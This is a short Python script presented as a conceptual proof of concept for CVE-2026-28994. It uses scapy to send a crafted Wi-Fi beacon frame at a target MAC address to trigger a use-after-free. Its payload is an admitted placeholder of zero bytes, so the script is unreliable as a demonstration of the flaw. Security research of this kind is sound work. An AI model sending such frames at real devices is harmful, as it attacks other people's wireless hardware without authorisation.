CVE-2026-28994

# Conceptual Proof of Concept for CVE-2026-28994 # This script demonstrates the concept of sending a crafted Wi-Fi packet. # Actual exploitation requires specific knowledge of the vulnerable memory layout. from scapy.all import * import sys def send_crafted_packet(interface, target_mac): """ Sends a crafted Wi-Fi packet to trigger the UAF vulnerability. Note: The specific bytes to trigger the UAF are hypothetical and require reverse engineering. """ # Set up the dot11 layer (Wi-Fi) # addr1: Destination MAC (Target) # addr2: Source MAC (Attacker) # addr3: BSSID dot11 = Dot11(addr1=target_mac, addr2=get_if_hwaddr(interface), addr3=get_if_hwaddr(interface)) # Use a management frame type (e.g., Beacon or Action frame) # The payload below is a placeholder for the malicious pattern causing UAF malformed_payload = b"\x00\x00\x00\x00" * 10 # Construct the packet packet = dot11 / Dot11Beacon(cap=0x2100) / malformed_payload print(f"[*] Sending crafted packet to {target_mac} on {interface}...") # Send packet sendp(packet, iface=interface, verbose=1) if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <interface> <target_mac>") sys.exit(1) iface = sys.argv[1] target = sys.argv[2] send_crafted_packet(iface, target)

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